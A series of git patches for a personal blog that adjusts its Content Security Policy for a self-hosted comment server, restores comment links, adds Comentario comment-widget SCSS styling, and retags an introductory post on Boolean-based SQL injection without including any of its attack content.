insertion(+) create mode 100644 .htmlvalidateignore diff --git a/.htmlvalidateignore b/.htmlvalidateignore new file mode 100644 index 000000000..ecc95f05a --- /dev/null +++ b/.htmlvalidateignore @@ -0,0 +1 @@ +getrektd.html \ No newline at end of file From 79627a9fa6ded6b25242301ba87a60d82d82d40c Mon Sep 17 00:00:00 2001 From: TrebledJ <39648915+TrebledJ@users.noreply.github.com> Date: Mon, 26 Aug 2024 22:19:30 +0800 Subject: [PATCH 21/34] fix: csp --- partials/_data/csp.js | 3 +++ 1 file changed, 3 insertions(+) diff --git a/partials/_data/csp.js b/partials/_data/csp.js index c0cfe4f96..10c5462fe 100644 --- a/partials/_data/csp.js +++ b/partials/_data/csp.js @@ -36,11 +36,13 @@ module.exports = compileCsp( .add("'unsafe-inline'") // .add(`'unsafe-hashes'`) // .add('*.disquscdn.com') + .add('comments.trebledj.me') .add('cdn.jsdelivr.net') .add('cdnjs.cloudflare.com') .add('github.githubassets.com'), tag('font') .add('data:') + .add('comments.trebledj.me') .add('cdn.jsdelivr.net') .add('cdnjs.cloudflare.com'), tag('img') @@ -52,6 +54,7 @@ module.exports = compileCsp( .add('*.soundcloud.com'), tag('connect') .add('comments.trebledj.me') + .add('wss://comments.trebledj.me') .add('cloudflareinsights.com') .add('formcarry.com') // contact form , From 08d8c18713fd3434b450be94acf35b66214afc1d Mon Sep 17 00:00:00 2001 From: TrebledJ <39648915+TrebledJ@users.noreply.github.com> Date: Tue, 27 Aug 2024 10:08:25 +0800 Subject: [PATCH 22/34] feat: tune comment options --- partials/_includes/post/comments.html | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/partials/_includes/post/comments.html b/partials/_includes/post/comments.html index 590141e1f..864fe8115 100644 --- a/partials/_includes/post/comments.html +++ b/partials/_includes/post/comments.html @@ -7,7 +7,7 @@ #} {#

    Commenting has vanished into a blackhole and shall return some time in the future (or past?)! Time paradoxes not guaranteed. If you have any feedback or suggestions, please direct your subspace frequencies to the contact form. Thanks!

    #} - + {% else %} {# Never enable Disqus comments in non-prod. It'll mess with their identifier machinery. #}

    Comments have been disabled in non-production.

    From 779406e5cae575b6b1b98f1fd7241c86cefafbcd Mon Sep 17 00:00:00 2001 From: Johnathan <39648915+TrebledJ@users.noreply.github.com> Date: Tue, 27 Aug 2024 16:59:46 +0800 Subject: [PATCH 23/34] Update 2024-08-10-automating-boolean-sql-injection-with-python.md --- ...2024-08-10-automating-boolean-sql-injection-with-python.md | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/content/posts/infosec/automating-boolean-sqli/2024-08-10-automating-boolean-sql-injection-with-python.md b/content/posts/infosec/automating-boolean-sqli/2024-08-10-automating-boolean-sql-injection-with-python.md index 62e57ceb3..fe4ad161d 100644 --- a/content/posts/infosec/automating-boolean-sqli/2024-08-10-automating-boolean-sql-injection-with-python.md +++ b/content/posts/infosec/automating-boolean-sqli/2024-08-10-automating-boolean-sql-injection-with-python.md @@ -6,14 +6,16 @@ tags: - python - web - programming + - project - writeup + - tutorial thumbnail_src: assets/automating-boolean-sqli-thumbnail.png thumbnail_banner: true preamble: | *This is meant as an introductory post on Boolean-Based SQLi and automation with Python; with ideas, tricks, and tips gleaned from developing [a custom SQLi script](https://github.com/TrebledJ/bsqli.py). More experienced scripters or pentesters may find the middle sections more informative.* --- -When performing a penetration test, we occasionally come across SQL injection (SQLi) vulnerabilities. One particular class of SQLi is particularly tedious to manually exploit — Boolean-Based SQLi. +When performing a penetration test, we occasionally come across SQL injection (SQLi) vulnerabilities. One particular class of SQLi is particularly tedious to exploit — Boolean-Based SQLi. Tedious, heavily-repetitive tasks often present themselves as nice opportunities for automation. In this post, we’ll review Boolean-Based SQL Injection, and explore how to automate it with Python by starting with a basic script, optimising, applying multithreading, and more. From 006007654866bb08635a5ea47c34b5505c31090c Mon Sep 17 00:00:00 2001 From: TrebledJ <39648915+TrebledJ@users.noreply.github.com> Date: Tue, 27 Aug 2024 22:50:36 +0800 Subject: [PATCH 24/34] feat: bring back comments anchor link --- partials/_includes/sidebars/toc-sidebar.html | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/partials/_includes/sidebars/toc-sidebar.html b/partials/_includes/sidebars/toc-sidebar.html index c5298c8b2..4617fdb9d 100644 --- a/partials/_includes/sidebars/toc-sidebar.html +++ b/partials/_includes/sidebars/toc-sidebar.html @@ -14,11 +14,11 @@ {% endif %} {# Comments #} - {# {% if comments %} + {% if comments %} - {% endif %} #} + {% endif %}
    \ No newline at end of file From 4b69a6e029f1cba7349db6e3556438f443b3baea Mon Sep 17 00:00:00 2001 From: TrebledJ <39648915+TrebledJ@users.noreply.github.com> Date: Wed, 28 Aug 2024 11:48:09 +0800 Subject: [PATCH 25/34] feat: custom comentario css + layout fixes --- assets/scss/comments.scss | 144 ++++++++++++ assets/scss/comments/_animations.scss | 78 +++++++ assets/scss/comments/_badge.scss | 20 ++ assets/scss/comments/_button.scss | 94 ++++++++ assets/scss/comments/_colours.scss | 230 +++++++++++++++++++ assets/scss/comments/_comment-card.scss | 161 ++++++++++++++ assets/scss/comments/_comment-editor.scss | 25 +++ assets/scss/comments/_common.scss | 133 +++++++++++ assets/scss/comments/_dialog.scss | 114 ++++++++++ assets/scss/comments/_footer.scss | 11 + assets/scss/comments/_input.scss | 234 ++++++++++++++++++++ assets/scss/comments/_mixins.scss | 57 +++++ assets/scss/comments/_placeholders.scss | 61 +++++ assets/scss/comments/_sort-bar.scss | 29 +++ assets/scss/comments/_source-sans.scss | 209 +++++++++++++++++ assets/scss/comments/_table.scss | 18 ++ assets/scss/comments/_theme.scss | 80 +++++++ assets/scss/comments/_toolbar.scss | 40 ++++ partials/_includes/head.html | 4 + partials/_includes/layouts/post-default.njk | 2 +- partials/_includes/post/comments.html | 2 +- 21 files changed, 1744 insertions(+), 2 deletions(-) create mode 100644 assets/scss/comments.scss create mode 100644 assets/scss/comments/_animations.scss create mode 100644 assets/scss/comments/_badge.scss create mode 100644 assets/scss/comments/_button.scss create mode 100644 assets/scss/comments/_colours.scss create mode 100644 assets/scss/comments/_comment-card.scss create mode 100644 assets/scss/comments/_comment-editor.scss create mode 100644 assets/scss/comments/_common.scss create mode 100644 assets/scss/comments/_dialog.scss create mode 100644 assets/scss/comments/_footer.scss create mode 100644 assets/scss/comments/_input.scss create mode 100644 assets/scss/comments/_mixins.scss create mode 100644 assets/scss/comments/_placeholders.scss create mode 100644 assets/scss/comments/_sort-bar.scss create mode 100644 assets/scss/comments/_source-sans.scss create mode 100644 assets/scss/comments/_table.scss create mode 100644 assets/scss/comments/_theme.scss create mode 100644 assets/scss/comments/_toolbar.scss diff --git a/assets/scss/comments.scss b/assets/scss/comments.scss new file mode 100644 index 000000000..c9a0e5018 --- /dev/null +++ b/assets/scss/comments.scss @@ -0,0 +1,144 @@ +// @import "comments/source-sans"; +@import "comments/theme"; +@import "comments/colours"; + +// The root web component tag +comentario-comments { + + // Default theme properties (light) + @include theme-props(); + + // Dark theme properties, selected automatically with the dark mode, but only when no theme is explicitly set + @media (prefers-color-scheme: dark) { + &:not([theme]) { + @include theme-props(dark); + } + } + + // Dark theme properties selected explicitly with [theme="dark"] on the element + &[theme=dark] { + @include theme-props(dark); + } +} + +.comentario-root { + position: relative; + padding: 0; + width: 100%; + font-family: inherit; + font-size: 15px; + line-height: 1.5; + color: var(--cmntr-color); + + @import "comments/common"; + @import "comments/animations"; + @import "comments/button"; + @import "comments/table"; + @import "comments/input"; + @import "comments/badge"; + @import "comments/dialog"; + @import "comments/footer"; + @import "comments/comment-editor"; + @import "comments/comment-card"; + @import "comments/placeholders"; + @import "comments/sort-bar"; + @import "comments/toolbar"; + + .comentario-backdrop { + position: absolute; + left: 0; + top: 0; + right: 0; + bottom: 0; + z-index: 10; + background-color: rgba(var(--cmntr-bg), 60%); + backdrop-filter: blur(3px); + } + + .comentario-message-box { + width: 100%; + margin-top: 1rem; + margin-bottom: 1rem; + border-radius: 4px; + background-color: var(--cmntr-success-bg); + color: var(--cmntr-success-color); + + &.comentario-error { + background-color: var(--cmntr-danger-bg); + color: var(--cmntr-danger-color); + } + + .comentario-message-box-body { + padding: 1rem; + text-align: center; + } + + code { + pre { + padding: 12px; + font-family: 'DejaVu Sans Mono', 'Noto Mono', monospace; + } + } + } + + .comentario-page-moderation-notice { + width: 100%; + padding-top: 16px; + padding-bottom: 16px; + text-align: center; + color: var(--cmntr-warning-color); + } + + &.comentario-root-font { + * {font-family: 'Source Sans Pro', sans-serif;} + } + + @each $i, $c in $colourise-map { + + // Generate colouring classes for the left border + .comentario-border-#{$i} { + border-left: 2px solid #{$c} !important; + } + + // Generate background colouring classes + .comentario-bg-#{$i} { + background-color: #{$c} !important; + } + } + + // Anonymous (unregistered) is a special case + .comentario-border-anonymous { + border-left: 2px dashed var(--cmntr-muted-color) !important; + } + .comentario-bg-anonymous { + background-color: var(--cmntr-muted-color) !important; + background-image: url("data:image/svg+xml,%3Csvg height='800' width='800' xmlns='http://www.w3.org/2000/svg' viewBox='0 0 60.671 60.671' xml:space='preserve'%3E%3Cellipse style='fill:%23ffffff' cx='30.336' cy='12.097' rx='11.997' ry='12.097'/%3E%3Cpath style='fill:%23ffffff' d='M35.64 30.079H25.031c-7.021 0-12.714 5.739-12.714 12.821v17.771h36.037V42.9c0-7.082-5.693-12.821-12.714-12.821z'/%3E%3C/svg%3E%0A") !important; + background-repeat: no-repeat !important; + background-size: 80% !important; + background-position: bottom !important; + } + + // Deleted user is another special case + .comentario-border-deleted { + border-left: 2px dotted var(--cmntr-deleted-bg) !important; + } + .comentario-bg-deleted { + background-color: var(--cmntr-deleted-bg) !important; + background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' height='1em' viewBox='0 0 384 512'%3E%3Cpath style='fill:%23ffffff' d='M342.6 150.6c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L192 210.7 86.6 105.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3L146.7 256 41.4 361.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L192 301.3 297.4 406.6c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L237.3 256 342.6 150.6z'/%3E%3C/svg%3E") !important; + background-repeat: no-repeat !important; + background-size: 50% !important; + background-position: center !important; + } +} + + +// Custom: overflow correction. +.comentario-card-expand-body { + // Set the width to anything to trigger the box to be slimmed down. + width: 80%; // Value is arbitrary? +} + +.comentario-card-body { + // Handle overflow. + overflow: auto; +} \ No newline at end of file diff --git a/assets/scss/comments/_animations.scss b/assets/scss/comments/_animations.scss new file mode 100644 index 000000000..fe839ea79 --- /dev/null +++ b/assets/scss/comments/_animations.scss @@ -0,0 +1,78 @@ +@import "colours"; + +$animation-duration: 250ms; + +// Fade in-out + +.comentario-fade-in { + animation: comentario-fade-in-animation $animation-duration ease-in-out forwards 1; +} + +.comentario-fade-out { + animation: comentario-fade-out-animation $animation-duration ease-in-out forwards 1; +} + +@keyframes comentario-fade-in-animation { + from {opacity: 0;} + to {opacity: 1;} +} + +@keyframes comentario-fade-out-animation { + from {opacity: 1;} + to {opacity: 0;} +} + +// Expand-collapse + +.comentario-expand { + animation: comentario-expand-animation $animation-duration ease-in-out forwards 1; +} + +.comentario-collapse { + animation: comentario-collapse-animation $animation-duration ease-in-out forwards 1; +} + +@keyframes comentario-expand-animation { + from { + opacity: 0; + transform: translateY(-100%); + } + to { + opacity: 1; + transform: translateY(0); + } +} + +@keyframes comentario-collapse-animation { + from { + opacity: 1; + transform: translateY(0); + } + to { + opacity: 0; + transform: translateY(-100%); + } +} + +// Background blinks + +.comentario-bg-highlight { + animation: comentario-bg-highlight-animation 5s ease forwards 1; +} + +.comentario-bg-blink { + animation: comentario-bg-blink-animation 2s ease forwards 1; +} + +@keyframes comentario-bg-highlight-animation { + 0% { background-color: transparent; } + 10% { background-color: var(--cmntr-bg-highlight); } + 50% { background-color: var(--cmntr-bg-highlight); } + 100% { background-color: transparent; } +} + +@keyframes comentario-bg-blink-animation { + 0% { background-color: transparent; } + 50% { background-color: var(--cmntr-bg-blink); } + 100% { background-color: transparent; } +} diff --git a/assets/scss/comments/_badge.scss b/assets/scss/comments/_badge.scss new file mode 100644 index 000000000..a87b565a9 --- /dev/null +++ b/assets/scss/comments/_badge.scss @@ -0,0 +1,20 @@ +@import "colours"; + +.comentario-badge { + display: inline-block; + font-size: 9px; + margin-left: 8px; + padding: 2px 6px 2px 6px; + border-radius: 100px; + line-height: 17px; + text-transform: uppercase; + color: $white; +} + +.comentario-badge-moderator { + background: $green-5; +} + +.comentario-badge-pending { + background: $yellow-6; +} diff --git a/assets/scss/comments/_button.scss b/assets/scss/comments/_button.scss new file mode 100644 index 000000000..e41075a94 --- /dev/null +++ b/assets/scss/comments/_button.scss @@ -0,0 +1,94 @@ +@import "colours"; +@import "mixins"; + +.comentario-btn { + // Vars + --cmntr-btn-color: var(--cmntr-link-color); + --cmntr-btn-bg: transparent; + --cmntr-btn-hover-color: var(--cmntr-link-hover-color); + --cmntr-btn-hover-bg: transparent; + --cmntr-btn-active-color: var(--cmntr-link-hover-color); + --cmntr-btn-active-bg: transparent; + + color: var(--cmntr-btn-color); + background-color: var(--cmntr-btn-bg); + + display: inline-flex; + justify-content: center; + align-items: center; + text-align: center; + cursor: pointer; + line-height: 20px; + padding: 6px 12px; + border: 1px solid transparent; + border-radius: 0.15rem; + margin: 5px; + transition: color 0.4s, background-color 0.4s; + white-space: nowrap; + + &:not(:disabled) { + &:hover, &:focus, &:active { + color: var(--cmntr-btn-hover-color); + background-color: var(--cmntr-btn-hover-bg); + opacity: 1; + } + } + + &:disabled { + cursor: not-allowed !important; + opacity: 0.3 !important; + } + + &:not(.comentario-btn-link):not(.comentario-btn-tool).comentario-btn-active { + color: var(--cmntr-btn-active-color); + background-color: var(--cmntr-btn-active-bg); + @include btn-active-shadow(); + } + + &:not(.comentario-btn-link):not(.comentario-btn-tool):not(.comentario-btn-active) { + @include btn-shadow(); + } + + &.comentario-btn-link.comentario-btn-active { + font-weight: bold; + } +} + +.comentario-btn-sm { + font-size: 12px; + line-height: 16px; + padding: 3px 6px; + margin: 2.5px; +} + +.comentario-submit-icon { + font-size: 20px; +} + +@mixin make-btn($name, $color, $bg-color) { + .comentario-btn-#{$name} { + --cmntr-btn-color: #{$color}; + --cmntr-btn-bg: #{$bg-color}; + --cmntr-btn-hover-color: #{$color}; + --cmntr-btn-hover-bg: #{lighten($bg-color, 15%)}; + --cmntr-btn-active-color: #{$color}; + --cmntr-btn-active-bg: #{darken($bg-color, 15%)}; + } +} + +@include make-btn("primary", $white, $primary); +@include make-btn("secondary", $white, $secondary); +@include make-btn("dark", $white, $dark); +@include make-btn("danger", $white, $red-8); +@include make-btn("facebook", $white, #1877f2); +@include make-btn("github", $white, $black); +@include make-btn("gitlab", $white, #fc6d26); +@include make-btn("google", $white, #4285f4); +@include make-btn("twitter", $white, #1da1f2); +@include make-btn("sso", $white, #7275ab); + +.comentario-oauth-buttons { + display: flex; + justify-content: center; + flex-wrap: wrap; +} diff --git a/assets/scss/comments/_colours.scss b/assets/scss/comments/_colours.scss new file mode 100644 index 000000000..3c018c912 --- /dev/null +++ b/assets/scss/comments/_colours.scss @@ -0,0 +1,230 @@ +//---------------------------------------------------------------------------------------------------------------------- +// Base palette +//---------------------------------------------------------------------------------------------------------------------- + +$white: #ffffff; +$black: #000000; +$primary: #4950d8; +$secondary: adjust-color($primary, $saturation: -25%, $lightness: +16%); +$dark: #212529; +$cta: #ec8100; + +// Grays +$gray-0: #f8f9fa; +$gray-1: #f1f3f5; +$gray-2: #e9ecef; +$gray-3: #dee2e6; +$gray-4: #ced4da; +$gray-5: #adb5bd; +$gray-6: #868e96; +$gray-7: #565c63; +$gray-8: #343a40; +$gray-9: #212529; + +// Reds +$red-0: #fff5f5; +$red-1: #ffe3e3; +$red-2: #ffc9c9; +$red-3: #ffa8a8; +$red-4: #ff8787; +$red-5: #ff6b6b; +$red-6: #fa5252; +$red-7: #f03e3e; +$red-8: #e03131; +$red-9: #c92a2a; + +// Pinks +$pink-0: #fff0f6; +$pink-1: #ffdeeb; +$pink-2: #fcc2d7; +$pink-3: #faa2c1; +$pink-4: #f783ac; +$pink-5: #f06595; +$pink-6: #e64980; +$pink-7: #d6336c; +$pink-8: #c2255c; +$pink-9: #a61e4d; + +// Grapes +$grape-0: #f8f0fc; +$grape-1: #f3d9fa; +$grape-2: #eebefa; +$grape-3: #e599f7; +$grape-4: #da77f2; +$grape-5: #cc5de8; +$grape-6: #be4bdb; +$grape-7: #ae3ec9; +$grape-8: #9c36b5; +$grape-9: #862e9c; + +// Violets +$violet-0: #f3f0ff; +$violet-1: #e5dbff; +$violet-2: #d0bfff; +$violet-3: #b197fc; +$violet-4: #9775fa; +$violet-5: #845ef7; +$violet-6: #7950f2; +$violet-7: #7048e8; +$violet-8: #6741d9; +$violet-9: #5f3dc4; + +// Indigo's +$indigo-0: #edf2ff; +$indigo-1: #dbe4ff; +$indigo-2: #bac8ff; +$indigo-3: #91a7ff; +$indigo-4: #748ffc; +$indigo-5: #5c7cfa; +$indigo-6: #4c6ef5; +$indigo-7: #4263eb; +$indigo-8: #3b5bdb; +$indigo-9: #364fc7; + +// Blues +$blue-0: #e8e9ff; +$blue-1: #d1d3ff; +$blue-2: #a6aaff; +$blue-3: #8b91fc; +$blue-4: #7c82f7; +$blue-5: #686fe8; +$blue-6: #5b62e5; +$blue-7: $primary; +$blue-8: #1922c2; +$blue-9: #181fab; + +// Cyans +$cyan-0: #e3fafc; +$cyan-1: #c5f6fa; +$cyan-2: #99e9f2; +$cyan-3: #66d9e8; +$cyan-4: #3bc9db; +$cyan-5: #22b8cf; +$cyan-6: #15aabf; +$cyan-7: #1098ad; +$cyan-8: #0c8599; +$cyan-9: #0b7285; + +// Teals +$teal-0: #e6fcf5; +$teal-1: #c3fae8; +$teal-2: #96f2d7; +$teal-3: #63e6be; +$teal-4: #38d9a9; +$teal-5: #20c997; +$teal-6: #12b886; +$teal-7: #0ca678; +$teal-8: #099268; +$teal-9: #087f5b; + +// Greens +$green-0: #ebfbee; +$green-1: #d3f9d8; +$green-2: #b2f2bb; +$green-3: #8ce99a; +$green-4: #69db7c; +$green-5: #51cf66; +$green-6: #40c057; +$green-7: #37b24d; +$green-8: #2f9e44; +$green-9: #2b8a3e; + +// Limes +$lime-0: #f4fce3; +$lime-1: #e9fac8; +$lime-2: #d8f5a2; +$lime-3: #c0eb75; +$lime-4: #a9e34b; +$lime-5: #94d82d; +$lime-6: #82c91e; +$lime-7: #74b816; +$lime-8: #66a80f; +$lime-9: #5c940d; + +// Yellows +$yellow-0: #fff9db; +$yellow-1: #fff8c5; +$yellow-2: #ffec99; +$yellow-3: #ffe066; +$yellow-4: #ffd43b; +$yellow-5: #fcc419; +$yellow-6: #fab005; +$yellow-7: #f59f00; +$yellow-8: #f08c00; +$yellow-9: #e67700; + +// Oranges +$orange-0: #fff4e6; +$orange-1: #ffe8cc; +$orange-2: #ffd8a8; +$orange-3: #ffc078; +$orange-4: #ffa94d; +$orange-5: #ff922b; +$orange-6: #fd7e14; +$orange-7: #f76707; +$orange-8: #e8590c; +$orange-9: #d9480f; + +// frontend/scss/shared +$colourise-map: ( + "0": #ff6b6b, + "1": #fa5252, + "2": #f03e3e, + "3": #e03131, + "4": #c92a2a, + "5": #f06595, + "6": #e64980, + "7": #d6336c, + "8": #c2255c, + "9": #a61e4d, + "10": #cc5de8, + "11": #be4bdb, + "12": #ae3ec9, + "13": #9c36b5, + "14": #862e9c, + "15": #845ef7, + "16": #7950f2, + "17": #7048e8, + "18": #6741d9, + "19": #5f3dc4, + "20": #5c7cfa, + "21": #4c6ef5, + "22": #4263eb, + "23": #3b5bdb, + "24": #364fc7, + "25": #686fe8, + "26": #5b62e5, + "27": #4950d8, + "28": #1922c2, + "29": #181fab, + "30": #22b8cf, + "31": #15aabf, + "32": #1098ad, + "33": #0c8599, + "34": #0b7285, + "35": #20c997, + "36": #12b886, + "37": #0ca678, + "38": #099268, + "39": #087f5b, + "40": #51cf66, + "41": #40c057, + "42": #37b24d, + "43": #2f9e44, + "44": #2b8a3e, + "45": #94d82d, + "46": #82c91e, + "47": #74b816, + "48": #66a80f, + "49": #5c940d, + "50": #fcc419, + "51": #fab005, + "52": #f59f00, + "53": #f08c00, + "54": #e67700, + "55": #ff922b, + "56": #fd7e14, + "57": #f76707, + "58": #e8590c, + "59": #d9480f, +) diff --git a/assets/scss/comments/_comment-card.scss b/assets/scss/comments/_comment-card.scss new file mode 100644 index 000000000..9296dfc8f --- /dev/null +++ b/assets/scss/comments/_comment-card.scss @@ -0,0 +1,161 @@ +@import "colours"; +@import "mixins"; + +.comentario-card { + display: flex; + margin-top: 16px; + border-top: 1px solid var(--cmntr-card-border); + + // Replaces the .comentario-card-expand-toggler in a card that has no children + .comentario-card-expand-spacer { + flex: 0 0 12px; + } + + // Clickable toggler on the left side of a card that has children + .comentario-card-expand-toggler { + flex: 0 0 12px; + cursor: pointer; + transition: border-left-width 0.1s linear; + + z-index: 2; // Custom: Place toggler above the overlapping padding region. + + &:hover:not(.comentario-collapsed) { + border-left-width: 4px !important; + } + + &.comentario-collapsed { + border-left-style: dotted !important; + } + } + + // Content of the card, taking up the remaining space right of the spacer or toggler + .comentario-card-expand-body { + flex: 1 1 100%; + + // Hide the content of the card when there's an editor inside it (immediate child only, not nested ones) + &.comentario-editor-inserted > .comentario-card-self { + display: none; + } + } + + .comentario-card-self { + padding-top: 12px; + + // Custom: extra padding so that highlight looks more spacy and less choked. + margin-left: -10px; + padding-left: 10px; + } + + .comentario-card-children { + &.comentario-card-children-unnest { + margin-left: -12px; // To compensate for the spacer/toggler width + } + } + + .comentario-card-header { + display: flex; + width: 100%; + flex-wrap: wrap; + align-items: start; + margin-bottom: 6px; + } + + .comentario-name-container { + display: flex; + flex: 1 1; + flex-direction: column; + justify-content: start; + margin-bottom: 6px; + } + + .comentario-name-wrap { + display: flex; + flex-wrap: wrap; + } + + .comentario-name { + font-weight: bold; + font-size: 14px; + color: var(--cmntr-color) !important; + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis; + } + + .comentario-subtitle { + color: var(--cmntr-muted-color); + font-size: 12px; + + a { + color: var(--cmntr-muted-color); + } + } + + .comentario-score { + display: inline; + color: var(--cmntr-score-color); + font-weight: 700; + transition: color 0.2s; + } + + .comentario-upvoted { + color: var(--cmntr-score-up-color); + } + + .comentario-downvoted { + color: var(--cmntr-score-down-color); + } + + .comentario-is-sticky { + color: var(--cmntr-sticky-color) !important; + } + + .comentario-card-body { + @include comment-text(); + } + + .comentario-moderation-notice { + width: 100%; + padding-top: 8px; + padding-bottom: 8px; + text-align: center; + color: var(--cmntr-warning-color); + } +} + +.comentario-deleted { + opacity: 0.33; + filter: grayscale(0.8); +} + +.comentario-pending { + background-color: var(--cmntr-pending-bg); + border: var(--cmntr-pending-border) dashed 1px; +} + +.comentario-rejected { + background-color: var(--cmntr-rejected-bg); +} + +.comentario-avatar { + width: 32px; + height: 32px; + border-radius: 50%; + display: flex; + justify-content: center; + align-items: center; + color: var(--cmntr-bg); + font-size: 20px; + margin-right: 10px; + border: 0 transparent; +} + +.comentario-avatar-img { + width: 32px; + height: 32px; + border-radius: 50%; + display: flex; + justify-content: center; + align-items: center; + margin-right: 10px; +} diff --git a/assets/scss/comments/_comment-editor.scss b/assets/scss/comments/_comment-editor.scss new file mode 100644 index 000000000..20ecc04d4 --- /dev/null +++ b/assets/scss/comments/_comment-editor.scss @@ -0,0 +1,25 @@ +@import "colours"; +@import "mixins"; + +.comentario-comment-editor { + width: 100%; + display: flex; + flex-direction: column; + + .comentario-comment-editor-footer { + display: flex; + flex-wrap: wrap; + justify-content: end; + align-items: center; + margin-top: 12px; + } + + .comentario-comment-editor-preview { + min-height: 130px; // Consistent with the min-height of a textarea + padding: 8px; + border: 1px solid $violet-2; + border-radius: 3px; + + @include comment-text(); + } +} diff --git a/assets/scss/comments/_common.scss b/assets/scss/comments/_common.scss new file mode 100644 index 000000000..2ac607530 --- /dev/null +++ b/assets/scss/comments/_common.scss @@ -0,0 +1,133 @@ +@import "colours"; + +*, ::after, ::before { + box-sizing: border-box; +} + +a { + color: var(--cmntr-link-color); + outline: none; + text-decoration: none; + cursor: pointer; + + &:not(.comentario-btn){ + &:hover, &:focus { + color: var(--cmntr-link-hover-color); + } + } +} + +blockquote { + margin: 0 0 0 8px; + padding: 0 0 0 5px; + border-left: 2px solid $gray-5; + color: var(--cmntr-muted-color); +} + +.comentario-icon { + display: inline-block; + width: 1em; + height: 1em; + vertical-align: -0.125em; +} + +.comentario-add-comment-host { + display: flex; + justify-content: center; + align-items: center; + align-content: center; + background-color: var(--cmntr-bg); + font-size: 15px; + + // Only show border and such when there's no editor inserted + &:not(.comentario-editor-inserted) { + min-height: 130px; + border: 1px solid $gray-2; + border-radius: 3px; + cursor: text; + + .comentario-add-comment-placeholder { + display: block; + color: var(--cmntr-input-ph-color); + } + } + + // Placeholder saying "Add a comment", only visible without the editor inserted + .comentario-add-comment-placeholder { + display: none; + } +} + +// Margins + +.comentario-ms-1 { + margin-left: 0.25em !important; +} + +.comentario-ms-2 { + margin-left: 0.5em !important; +} + +.comentario-me-1 { + margin-right: 0.25em !important; +} + +// Padding + +.comentario-py-2 { + padding-top: 0.5rem !important; + padding-bottom: 0.5rem !important; +} + +// Font weight + +.comentario-fw-bold { + font-weight: bold !important; +} + +// Font size + +.comentario-small { + font-size: 85%; +} + +// Utilities + +.comentario-hidden { + display: none !important; +} + +.comentario-disabled { + opacity: 0.75; +} + +.comentario-text-center { + text-align: center !important; +} + +.comentario-flex { + display: flex !important; +} + +.comentario-flex-wrap { + flex-wrap: wrap !important; +} + +.comentario-flex-50 { + flex: 1 1 50%; +} + +// Colourising + +.comentario-text-muted { + color: var(--cmntr-muted-color) !important; +} +.comentario-text-success { + color: var(--cmntr-success-color) !important; +} +.comentario-text-danger { + color: var(--cmntr-danger-color) !important; +} +.comentario-text-warning { + color: var(--cmntr-warning-color) !important; +} diff --git a/assets/scss/comments/_dialog.scss b/assets/scss/comments/_dialog.scss new file mode 100644 index 000000000..b0661ba1b --- /dev/null +++ b/assets/scss/comments/_dialog.scss @@ -0,0 +1,114 @@ +@import "colours"; + +.comentario-dialog { + position: absolute; + z-index: 100; + + display: flex; + flex-direction: column; + width: 90%; + max-width: 500px; + min-height: 100px; + background-color: var(--cmntr-bg-shade); + border: 1px solid var(--cmntr-dlg-border); + box-shadow: 0 0 20px rgba(153, 153, 153, 0.5); + + hr { + border: none; + background: var(--cmntr-muted-color); + height: 1px; + margin: 12px 0; + } + + .comentario-dialog-header { + position: relative; + display: flex; + align-items: center; + background-color: var(--cmntr-dlg-header-bg); + padding: 6px 16px; + line-height: 24px; + font-weight: bold; + + .comentario-dialog-btn-close { + --cmntr-btn-color: var(--cmntr-muted-color); + + position: absolute; + top: 0; + right: 0; + z-index: 2; + border: 0; + padding: 2px; + + .comentario-icon { + width: 1.5em; + height: 1.5em; + } + } + } + + .comentario-dialog-body { + padding: 16px; + overflow: hidden; + } + + .comentario-dialog-centered { + color: var(--cmntr-muted-color); + text-align: center; + margin: 8px 0; + } + + // Arrow + + .comentario-dialog-arrow, + .comentario-dialog-arrow::before { + position: absolute; + z-index: 101; + width: 12px; + height: 12px; + background-color: var(--cmntr-bg-shade); // Match colour with the dialog body by default + border: 1px solid transparent; + } + + .comentario-dialog-arrow { + visibility: hidden; + } + + .comentario-dialog-arrow::before { + visibility: visible; + content: ''; + transform: rotate(45deg); + } + + &[data-popper-placement^='top'] > .comentario-dialog-arrow { + bottom: -6px; + &::before { + border-right-color: var(--cmntr-dlg-border); + border-bottom-color: var(--cmntr-dlg-border); + } + } + + &[data-popper-placement^='bottom'] > .comentario-dialog-arrow { + top: -7px; + &::before { + background-color: var(--cmntr-dlg-header-bg); // Match colour with the dialog header when the arrow is on the top + border-left-color: var(--cmntr-dlg-border); + border-top-color: var(--cmntr-dlg-border); + } + } + + &[data-popper-placement^='left'] > .comentario-dialog-arrow { + right: -6px; + &::before { + border-right-color: var(--cmntr-dlg-border); + border-top-color: var(--cmntr-dlg-border); + } + } + + &[data-popper-placement^='right'] > .comentario-dialog-arrow { + left: -7px; + &::before { + border-left-color: var(--cmntr-dlg-border); + border-bottom-color: var(--cmntr-dlg-border); + } + } +} diff --git a/assets/scss/comments/_footer.scss b/assets/scss/comments/_footer.scss new file mode 100644 index 000000000..b26fc3169 --- /dev/null +++ b/assets/scss/comments/_footer.scss @@ -0,0 +1,11 @@ +@import "colours"; + +.comentario-footer { + display: flex; + justify-content: end; + margin: 12px 0; + padding-right: 12px; + font-size: 13px; + line-height: 24px; + color: var(--cmntr-muted-color); +} diff --git a/assets/scss/comments/_input.scss b/assets/scss/comments/_input.scss new file mode 100644 index 000000000..e7b7c4913 --- /dev/null +++ b/assets/scss/comments/_input.scss @@ -0,0 +1,234 @@ +@import "colours"; + +textarea, +input[type=text], +input[type=email], +input[type=url], +input[type=password] { + background-color: var(--cmntr-input-bg); + border: 1px solid rgba(50, 50, 93, .1); + border-radius: 3px; + color: var(--cmntr-input-color); + + // Draw a red border around invalid controls that have been touched (blurred; gets added programmatically) + &.comentario-touched:invalid { + border: 1px solid $red-7; + } + + &::placeholder { + color: var(--cmntr-input-ph-color); + } + + &:disabled { + color: var(--cmntr-input-disabled-color); + } +} + +textarea { + display: inline-block; + white-space: pre-wrap; + padding: 8px; + outline: none; + overflow: auto; + min-height: 130px; + width: 100%; + transition: all 0.2s; + + &::placeholder { + font-size: 18px; + display: flex; + 